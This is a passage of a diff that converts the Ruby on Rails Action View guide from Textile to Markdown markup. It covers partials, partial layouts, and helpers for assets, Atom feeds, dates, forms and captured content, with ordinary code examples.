-<ruby> +```erb <%= render "menu" %> -</ruby> +``` -This will render a file named +_menu.html.erb+ at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: +This will render a file named `_menu.html.erb` at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: -<ruby> +```erb <%= render "shared/menu" %> -</ruby> +``` -That code will pull in the partial from +app/views/shared/_menu.html.erb+. +That code will pull in the partial from `app/views/shared/_menu.html.erb`. -h5. Using Partials to simplify Views +#### Using Partials to simplify Views One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: -<erb> +```html+erb <%= render "shared/ad_banner" %> <h1>Products</h1> @@ -248,184 +253,188 @@ One way to use partials is to treat them as the equivalent of subroutines: as a <% end %> <%= render "shared/footer" %> -</erb> +``` -Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. +Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. -h5. The :as and :object options +#### The :as and :object options -By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given +By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given -<erb> +```erb <%= render :partial => "product" %> -</erb> +``` -within product we'll get <tt>@product</tt> in the local variable +product+, as if we had written: +within product we'll get `@product` in the local variable `product`, as if we had written: -<erb> +```erb <%= render :partial => "product", :locals => { :product => @product } %> -</erb> +``` -With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we wanted it to be +item+ instead of product+ we'd do: +With the `:as` option we can specify a different name for said local variable. For example, if we wanted it to be `item` instead of product+ we'd do: -<erb> +```erb <%= render :partial => "product", :as => 'item' %> -</erb> +``` -The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance. +The `:object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance. For example, instead of: -<erb> +```erb <%= render :partial => "product", :locals => { :product => @item } %> -</erb> +``` you'd do: -<erb> +```erb <%= render :partial => "product", :object => @item %> -</erb> +``` -The <tt>:object</tt> and <tt>:as</tt> options can be used together. +The `:object` and `:as` options can be used together. -h5. Rendering Collections +#### Rendering Collections The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within. So the three-lined example for rendering all the products can be rewritten with a single line: -<erb> +```erb <%= render :partial => "product", :collection => @products %> -</erb> +``` -When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+ , and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. +When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product` , and within the `_product` partial, you can refer to `product` to get the instance that is being rendered. -You can use a shorthand syntax for rendering collections. Assuming @products is a collection of +Product+ instances, you can simply write the following to produce the same result: +You can use a shorthand syntax for rendering collections. Assuming @products is a collection of `Product` instances, you can simply write the following to produce the same result: -<erb> +```erb <%= render @products %> -</erb> +``` Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection. -h5. Spacer Templates +#### Spacer Templates -You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option: +You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: -<erb> +```erb <%= render @products, :spacer_template => "product_ruler" %> -</erb> +``` -Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials. +Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials. -h4. Layouts +### Layouts TODO... -h3. Using Templates, Partials and Layouts in "The Rails Way" +Using Templates, Partials and Layouts in "The Rails Way" +-------------------------------------------------------- TODO... -h3. Partial Layouts +Partial Layouts +--------------- Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion. -Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+: +Let's say we're displaying a post on a page where it should be wrapped in a `div` for display purposes. First, we'll create a new `Post`: -<ruby> +```ruby Post.create(:body => 'Partial Layouts are cool!') -</ruby> +``` -In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout: +In the `show` template, we'll render the `post` partial wrapped in the `box` layout: -*posts/show.html.erb* +**posts/show.html.erb** -<ruby> +```erb <%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %> -</ruby> +``` -The +box+ layout simply wraps the +post+ partial in a +div+: +The `box` layout simply wraps the `post` partial in a `div`: -*posts/_box.html.erb* +**posts/_box.html.erb** -<ruby> +```html+erb <div class='box'> <%= yield %> </div> -</ruby> +``` -The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper: +The `post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper: -*posts/_post.html.erb* +**posts/_post.html.erb** -<ruby> +```html+erb <%= div_for(post) do %> <p><%= post.body %></p> <% end %> -</ruby> +``` This example would output the following: -<html> +```html <div class='box'> <div id='post_1'> <p>Partial Layouts are cool!</p> </div> </div> -</html> +``` -Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. +Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. -You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead: +You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `post` partial, we could do this instead: -*posts/show.html.erb* +**posts/show.html.erb** -<ruby> +```html+erb <% render(:layout => 'box', :locals => {:post => @post}) do %> <%= div_for(post) do %> <p><%= post.body %></p> <% end %> <% end %> -</ruby> +``` -If we're using the same +box+ partial from above, his would produce the same output as the previous example. +If we're using the same `box` partial from above, his would produce the same output as the previous example. -h3. View Paths +View Paths +---------- TODO... -h3. Overview of all the helpers provided by Action View +Overview of all the helpers provided by Action View +--------------------------------------------------- The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point. -h4. ActiveRecordHelper +### ActiveRecordHelper -The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html. +The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the [Rails Form helpers guide](form_helpers.html). -h5. error_message_on +#### error_message_on Returns a string containing the error message attached to the method on the object if one exists. -<ruby> +```ruby error_message_on "post", "title" -</ruby> +``` -h5. error_messages_for +#### error_messages_for Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given. -<ruby> +```ruby error_messages_for "post" -</ruby> +``` -h5. form +#### form -Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes. +Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a `@post` with attributes named `title` of type `String` and `body` of type `Text`. Calling `form` would produce a form to creating a new post with inputs for those attributes. -<ruby> +```ruby form("post") -</ruby> +``` -<html> +```html <form action='/posts/create' method='post'> <p> <label for="post_title">Title</label><br /> @@ -437,269 +446,269 @@ form("post") </p> <input name="commit" type="submit" value="Create" /> </form> -</html> +``` -Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes. +Typically, `form_for` is used instead of `form` because it doesn't automatically include all of the model's attributes. -h5. input +#### input Returns a default input tag for the type of object returned by the method. -For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World": +For example, if `@post` has an attribute `title` mapped to a `String` column that holds "Hello World": -<ruby> +```ruby input("post", "title") # => <input id="post_title" name="post[title]" type="text" value="Hello World" /> -</ruby> +``` -h4. RecordTagHelper +### RecordTagHelper -This module provides methods for generating container tags, such as +div+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. +This module provides methods for generating container tags, such as `div`, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. -h5. content_tag_for +#### content_tag_for Renders a container tag that relates to your Active Record Object. -For example, given +@post+ is the object of +Post+ class, you can do: +For example, given `@post` is the object of `Post` class, you can do: -<ruby> +```html+erb <%= content_tag_for(:tr, @post) do %> <td><%= @post.title %></td> <% end %> -</ruby> +``` This will generate this HTML output: -<html> +```html <tr id="post_1234" class="post"> <td>Hello World!</td> </tr> -</html> +``` You can also supply HTML attributes as an additional option hash. For example: -<ruby> +```html+erb <%= content_tag_for(:tr, @post, :class => "frontpage") do %> <td><%= @post.title %></td> <% end %> -</ruby> +``` Will generate this HTML output: -<html> +```html <tr id="post_1234" class="post frontpage"> <td>Hello World!</td> </tr> -</html> +``` -You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects: -<ruby> +```html+erb <%= content_tag_for(:tr, @posts) do |post| %> <td><%= post.title %></td> <% end %> -</ruby> +``` Will generate this HTML output: -<html> +```html <tr id="post_1234" class="post"> <td>Hello World!</td> </tr> <tr id="post_1235" class="post"> <td>Ruby on Rails Rocks!</td> </tr> -</html> +``` -h5. div_for +#### div_for -This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: +This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example: -<ruby> +```html+erb <%= div_for(@post, :class => "frontpage") do %> <td><%= @post.title %></td> <% end %> -</ruby> +``` Will generate this HTML output: -<html> +```html <div id="post_1234" class="post frontpage"> <td>Hello World!</td> </div> -</html> +``` -h4. AssetTagHelper +### AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. -By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +config.action_controller.asset_host+ in the application configuration, typically in +config/environments/production.rb+. For example, let's say your asset host is +assets.example.com+: +By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`: -<ruby> +```ruby config.action_controller.asset_host = "assets.example.com" image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" /> -</ruby> +``` -h5. register_javascript_expansion +#### register_javascript_expansion -Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +vendor/assets/javascripts+. +Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in `vendor/assets/javascripts`. -<ruby> +```ruby ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"] javascript_include_tag :monkey # => <script src="/assets/head.js"></script> <script src="/assets/body.js"></script> <script src="/assets/tail.js"></script> -</ruby> +``` -h5. register_stylesheet_expansion +#### register_stylesheet_expansion -Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +vendor/assets/stylesheets+. +Register one or more stylesheet files to be included when symbol is passed to `stylesheet_link_tag`. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in `vendor/assets/stylesheets`. -<ruby> +```ruby ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"] stylesheet_link_tag :monkey # => <link href="/assets/head.css" media="screen" rel="stylesheet" /> <link href="/assets/body.css" media="screen" rel="stylesheet" /> <link href="/assets/tail.css" media="screen" rel="stylesheet" /> -</ruby> +``` -h5. auto_discovery_link_tag +#### auto_discovery_link_tag Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed. -<ruby> +```ruby auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" /> -</ruby> +``` -h5. image_path +#### image_path -Computes the path to an image asset in the +app/assets/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path. +Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path. -<ruby> +```ruby image_path("edit.png") # => /assets/edit.png -</ruby> +``` Fingerprint will be added to the filename if config.assets.digest is set to true. -<ruby> +```ruby image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png -</ruby> +``` -h5. image_url +#### image_url -Computes the url to an image asset in the +app/asset/images+ directory. This will call +image_path+ internally and merge with your current host or your asset host. +Computes the url to an image asset in the `app/asset/images` directory. This will call `image_path` internally and merge with your current host or your asset host. -<ruby> +```ruby image_url("edit.png") # => http://www.example.com/assets/edit.png -</ruby> +``` -h5. image_tag +#### image_tag -Returns an html image tag for the source. The source can be a full path or a file that exists in your +app/assets/images+ directory. +Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory. -<ruby> +```ruby image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" /> -</ruby> +``` -h5. javascript_include_tag +#### javascript_include_tag -Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +app/assets/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root. +Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root. -<ruby> +```ruby javascript_include_tag "common" # => <script src="/assets/common.js"></script> -</ruby> +``` -If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +app/assets/javascripts+ directory, it will be included as well. +If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well. -<ruby> +```ruby javascript_include_tag :defaults -</ruby> +``` -You can also include all JavaScript files in the +app/assets/javascripts+ directory using +:all+ as the source. +You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source. -<ruby> +```ruby javascript_include_tag :all -</ruby> +``` -You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment). +You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment). -<ruby> +```ruby javascript_include_tag :all, :cache => true # => <script src="/javascripts/all.js"></script> -</ruby> +``` -h5. javascript_path +#### javascript_path -Computes the path to a JavaScript asset in the +app/assets/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path. +Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path. -<ruby> +```ruby javascript_path "common" # => /assets/common.js -</ruby> +``` -h5. javascript_url +#### javascript_url -Computes the url to a JavaScript asset in the +app/assets/javascripts+ directory. This will call +javascript_path+ internally and merge with your current host or your asset host. +Computes the url to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. -<ruby> +```ruby javascript_url "common" # => http://www.example.com/assets/common.js -</ruby> +``` -h5. stylesheet_link_tag +#### stylesheet_link_tag -Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically. +Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically. -<ruby> +```ruby stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" /> -</ruby> +``` You can also include all styles in the stylesheet directory using :all as the source: -<ruby> +```ruby stylesheet_link_tag :all -</ruby> +``` You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment). -<ruby> +```ruby stylesheet_link_tag :all, :cache => true # => <link href="/assets/all.css" media="screen" rel="stylesheet" /> -</ruby> +``` -h5. stylesheet_path +#### stylesheet_path -Computes the path to a stylesheet asset in the +app/assets/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path. +Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path. -<ruby> +```ruby stylesheet_path "application" # => /assets/application.css -</ruby> +``` -h5. stylesheet_url +#### stylesheet_url -Computes the url to a stylesheet asset in the +app/assets/stylesheets+ directory. This will call +stylesheet_path+ internally and merge with your current host or your asset host. +Computes the url to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. -<ruby> +```ruby stylesheet_url "application" # => http://www.example.com/assets/application.css -</ruby> +``` -h4. AtomFeedHelper +### AtomFeedHelper -h5. atom_feed +#### atom_feed This helper makes building an Atom feed easy. Here's a full usage example: -*config/routes.rb* +**config/routes.rb** -<ruby> +```ruby resources :posts -</ruby> +``` -*app/controllers/posts_controller.rb* +**app/controllers/posts_controller.rb** -<ruby> +```ruby def index @posts = Post.all @@ -708,11 +717,11 @@ def index format.atom end end -</ruby> +``` -*app/views/posts/index.atom.builder* +**app/views/posts/index.atom.builder** -<ruby> +```ruby atom_feed do |feed| feed.title("Posts Index") feed.updated((@posts.first.created_at)) @@ -728,49 +737,49 @@ atom_feed do |feed| end end end -</ruby> +``` -h4. BenchmarkHelper +### BenchmarkHelper -h5. benchmark +#### benchmark Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. -<ruby> +```html+erb <% benchmark "Process data files" do %> <%= expensive_files_operation %> <% end %> -</ruby> +``` This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code. -h4. CacheHelper +### CacheHelper -h5. cache +#### cache -A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information. +A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information. -<ruby> +```erb <% cache do %> <%= render "shared/footer" %> <% end %> -</ruby> +``` -h4. CaptureHelper +### CaptureHelper -h5. capture +#### capture -The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. +The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. -<ruby> +```html+erb <% @greeting = capture do %> <p>Welcome! The date and time is <%= Time.now %></p> <% end %> -</ruby> +``` The captured variable can then be used anywhere else. -<ruby> +```html+erb <html> <head> <title>Welcome!</title> @@ -779,17 +788,17 @@ The captured variable can then be used anywhere else. <%= @greeting %> </body> </html> -</ruby> +``` -h5. content_for +#### content_for -Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+. +Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`. -For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use +content_for+ to include this JavaScript on our special page without fattening up the rest of the site. +For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site. -*app/views/layouts/application.html.erb* +**app/views/layouts/application.html.erb** -<ruby> +```html+erb <html> <head> <title>Welcome!</title> @@ -799,165 +808,165 @@ For example, let's say we have a standard application layout, but also a special <p>Welcome! The date and time is <%= Time.now %></p> </body> </html> -</ruby> +``` -*app/views/posts/special.html.erb* +**app/views/posts/special.html.erb** -<ruby> +```html+erb <p>This is a special page.</p> <% content_for :special_script do %> <script>alert('Hello!')</script> <% end %> -</ruby> +``` -h4. DateHelper +### DateHelper -h5. date_select +#### date_select Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. -<ruby> +```ruby date_select("post", "published_on") -</ruby> +``` -h5. datetime_select +#### datetime_select Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. -<ruby> +```ruby datetime_select("post", "published_on") -</ruby> +``` -h5. distance_of_time_in_words +#### distance_of_time_in_words -Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations. +Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations. -<ruby> +```ruby distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute distance_of_time_in_words(Time.now, Time.now + 15.seconds, :include_seconds => true) # => less than 20 seconds -</ruby> +``` -h5. select_date +#### select_date -Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided. +Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided. -<ruby> +```ruby # Generates a date select that defaults to the date provided (six days after today) select_date(Time.today + 6.days) # Generates a date select that defaults to today (no specified date) select_date() -</ruby> +``` -h5. select_datetime +#### select_datetime -Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided. +Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. -<ruby> +```ruby # Generates a datetime select that defaults to the datetime provided (four days after today) select_datetime(Time.now + 4.days) # Generates a datetime select that defaults to today (no specified datetime) select_datetime() -</ruby> +``` -h5. select_day +#### select_day Returns a select tag with options for each of the days 1 through 31 with the current day selected. -<ruby> +```ruby # Generates a select field for days that defaults to the day for the date provided select_day(Time.today + 2.days) # Generates a select field for days that defaults to the number given select_day(5) -</ruby> +``` -h5. select_hour +#### select_hour Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. -<ruby> +```ruby # Generates a select field for minutes that defaults to the minutes for the time provided select_minute(Time.now + 6.hours) -</ruby> +``` -h5. select_minute +#### select_minute Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. -<ruby> +```ruby # Generates a select field for minutes that defaults to the minutes for the time provided. select_minute(Time.now + 6.hours) -</ruby> +``` -h5. select_month +#### select_month Returns a select tag with options for each of the months January through December with the current month selected. -<ruby> +```ruby # Generates a select field for months that defaults to the current month select_month(Date.today) -</ruby> +``` -h5. select_second +#### select_second Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. -<ruby> +```ruby # Generates a select field for seconds that defaults to the seconds for the time provided select_second(Time.now + 16.minutes) -</ruby> +``` -h5. select_time +#### select_time Returns a set of html select-tags (one for hour and minute). -<ruby> +```ruby # Generates a time select that defaults to the time provided select_time(Time.now) -</ruby> +``` -h5. select_year +#### select_year -Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. +Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`. -<ruby> +```ruby # Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year select_year(Date.today, :start_year => 1900, :end_year => 2009) -</ruby> +``` -h5. time_ago_in_words +#### time_ago_in_words -Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+. +Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`. -<ruby> +```ruby time_ago_in_words(3.minutes.from_now) # => 3 minutes -</ruby> +``` -h5. time_select +#### time_select Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object. -<ruby> +```ruby # Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute time_select("order", "submitted") -</ruby> +``` -h4. DebugHelper +### DebugHelper -Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object. +Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object. -<ruby> +```ruby my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]} debug(my_hash) -</ruby> +``` -<html> +```html <pre class='debug_dump'>--- first: 1 second: two @@ -966,9 +975,9 @@ third: - 2 - 3 </pre> -</html> +``` -h4. FormHelper +### FormHelper Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. @@ -976,49 +985,49 @@ There are two types of form helpers: those that specifically work with model att The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: -<ruby> +```html+erb # Note: a @person variable will have been created in the controller (e.g. @person = Person.new) <%= form_for @person, :url => { :action => "create" } do |f| %> <%= f.text_field :first_name %> <%= f.text_field :last_name %> <%= submit_tag 'Create' %> <% end %> -</ruby> +``` The HTML generated for this would be: -<html> +```html <form action="/persons/create" method="post"> <input id="person_first_name" name="person[first_name]" type="text" /> <input id="person_last_name" name="person[last_name]" type="text" /> <input name="commit" type="submit" value="Create" /> </form> -</html> +``` The params object created when this form is submitted would look like: -<ruby> +```ruby {"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}} -</ruby> +``` The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller. -h5. check_box +#### check_box Returns a checkbox tag tailored for accessing a specified attribute. -<ruby> +```ruby # Let's say that @post.validated? is 1: check_box("post", "validated") # => <input type="checkbox" id="post_validated" name="post[validated]" value="1" /> # <input name="post[validated]" type="hidden" value="0" /> -</ruby> +``` -h5. fields_for +#### fields_for Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: -<ruby> +```html+erb <%= form_for @person, :url => { :action => "update" } do |person_form| %> First name: <%= person_form.text_field :first_name %> Last name : <%= person_form.text_field :last_name %> @@ -1027,100 +1036,100 @@ Creates a scope around a specific model object like form_for, but doesn't create Admin? : <%= permission_fields.check_box :admin %> <% end %> <% end %> -</ruby> +``` -h5. file_field +#### file_field Returns a file upload input tag tailored for accessing a specified attribute. -<ruby> +```ruby file_field(:user, :avatar) # => <input type="file" id="user_avatar" name="user[avatar]" /> -</ruby> +``` -h5. form_for +#### form_for Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields. -<ruby> +```html+erb <%= form_for @post do |f| %> <%= f.label :title, 'Title' %>: <%= f.text_field :title %><br /> <%= f.label :body, 'Body' %>: <%= f.text_area :body %><br /> <% end %> -</ruby> +``` -h5. hidden_field +#### hidden_field Returns a hidden input tag tailored for accessing a specified attribute. -<ruby> +```ruby hidden_field(:user, :token) # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" /> -</ruby> +``` -h5. label +#### label Returns a label tag tailored for labelling an input field for a specified attribute. -<ruby> +```ruby label(:post, :title) # => <label for="post_title">Title</label> -</ruby> +``` -h5. password_field +#### password_field Returns an input tag of the "password" type tailored for accessing a specified attribute. -<ruby> +```ruby password_field(:login, :pass) # => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" /> -</ruby> +``` -h5. radio_button +#### radio_button Returns a radio button tag for accessing a specified attribute. -<ruby> +```ruby # Let's say that @post.category returns "rails": radio_button("post", "category", "rails") radio_button("post", "category", "java") # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" /> # <input type="radio" id="post_category_java" name="post[category]" value="java" /> -</ruby> +``` -h5. text_area +#### text_area Returns a textarea opening and closing tag set tailored for accessing a specified attribute. -<ruby> +```ruby text_area(:comment, :text, :size => "20x30") # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]"> # #{@comment.text} # </textarea> -</ruby> +``` -h5. text_field +#### text_field Returns an input tag of the "text" type tailored for accessing a specified attribute. -<ruby> +```ruby text_field(:post, :title) # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" /> -</ruby> +``` -h4. FormOptionsHelper +### FormOptionsHelper Provides a number of methods for turning different kinds of containers into a set of option tags. -h5. collection_select +#### collection_select -Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class. +Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class. Example object structure for use with this method: -<ruby> +```ruby class Post < ActiveRecord::Base belongs_to :author end @@ -1131,32 +1140,32 @@ class Author < ActiveRecord::Base "#{first_name.first}. #{last_name}" end end -</ruby> +``` -Sample usage (selecting the associated Author for an instance of Post, +@post+): +Sample usage (selecting the associated Author for an instance of Post, `@post`): -<ruby> +```ruby collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true}) -</ruby> +``` -If <tt>@post.author_id</tt> is 1, this would return: +If `@post.author_id` is 